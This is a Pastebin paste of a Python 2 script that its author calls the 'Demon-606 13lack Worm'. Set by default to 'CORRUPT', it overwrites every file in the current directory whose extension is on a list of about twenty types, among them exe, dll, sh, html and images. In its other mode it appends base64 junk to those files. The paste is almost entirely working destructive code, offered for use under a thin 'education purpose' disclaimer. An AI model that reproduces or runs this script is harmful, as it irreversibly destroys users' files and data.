Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Demon-606 13lack Worm Code written by 13lackDeMon / Tanmay
- # FOR : Linux and Windows | Facebook : tanmay606
- # discription : this script infect all programs with virus code
- # which make all applications corrupt in current virus directory.
- # [+] this script is only for education purpose and i am not responsible
- # for any harm done by this script. this worm is very powerfull please handle this with care
- #----------------------------------------------------------------------------------------------------------------------------------------------------#
- from os import listdir,path,getcwd,system
- from time import sleep
- from sys import exit
- os = 'linux' #type [ linux or LINUX ] or [ windows or WINDOWS ]
- signature = 'RklMRSBJUyBJTkZFQ1RFRCBXSVRIIDEzbGFja1dvcm0gV3JpdHRlbiBCeSAxM2xhY2tEZU1vbiAvIFRhbm1heQ=='
- corrupt_or_justinject = 'CORRUPT' #type [ corrupt / CORRUPT ] to make all files corrupt or type [ inject / INJECT ] to just inject the code.
- code_to_inject = 'LC4vfiFAIyQlXiYqKCkpXyt7fVtdOjsiPCwuL34hQCMkJV4mKigpKV8re31bXTo7IjwsLi9+IUAjJCVeJiooKSlfK3t9W106OyI8'
- #main part of this worm. enter your code which you want to inject in all files.
- vul_files = [] #handle all files found in directory with extentions. dont touch it.
- directory_to_infect = getcwd() #you can change this to your target dir
- files_ext_to_infect = ['sh','deb','zip','exe','dll','jpg','png','bmp','htm','html','desktop','php','jar','sys','txt','dat','ini','pl','rb','d']
- #worm will only work for extentions metion in [ files_ext_to_infect ]. you can add more extentions if you want.
- #----------------------------------------------------------------------------------------------------------------------------------------------------#
- #this part will find all files [extentions matching ] in given directory and store it in array : vul_files
- if(os == 'linux' or os == 'LINUX'):
- system('clear')
- pass
- elif(os == 'WINDOWS' or os == 'windows'):
- system('cls')
- pass
- else:
- print '[-] Invalid OS only [ linux and windows allowed ]'
- exit(1)
- print '(+) WorM CoddER : 13lackDeMon / Tanmay\n'
- print '(*) Demon-606 13lack Worm started . . . . \n'
- sleep(2)
- for files in listdir(directory_to_infect):
- try:
- if(files.split('.')[1] in files_ext_to_infect):
- if(signature.decode('base64') in files):
- pass
- else:
- vul_files.append(files)
- del files
- else:
- pass
- del files
- except:
- pass
- del files
- for file in vul_files:
- if(corrupt_or_justinject == 'corrupt' or corrupt_or_justinject == 'CORRUPT'):
- try:
- f = open(file,'w')
- f.write(signature.decode('base64'))
- f.write(code_to_inject.decode('base64'))
- f.close()
- print '[+] Code injected in %s Successfully. [ Corrupt = TRUE ]'%file
- sleep(2)
- except:
- print '[-] Unable to inject in %s [ Access Deniad ]'%file
- pass
- elif(corrupt_or_justinject == 'inject' or corrupt_or_justinject == 'INJECT'):
- try:
- f = open(file,'a+')
- f.write(signature.decode('base64'))
- f.write(code_to_inject.decode('base64'))
- f.close()
- print '[+] Code injected in %s Successfully. [ Corrupt = FALSE ]' %file
- sleep(2)
- except:
- print '[-] Unable to inject in %s [ Access Deniad ]'%file
- pass
- else:
- print '[-] Error : Invalid Option Enter use only [1] inject [2] corrupt'
- break
- exit(1)
- print '(*) Demon-606 13lack Worm Stopped.'
- sleep(2)
- exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement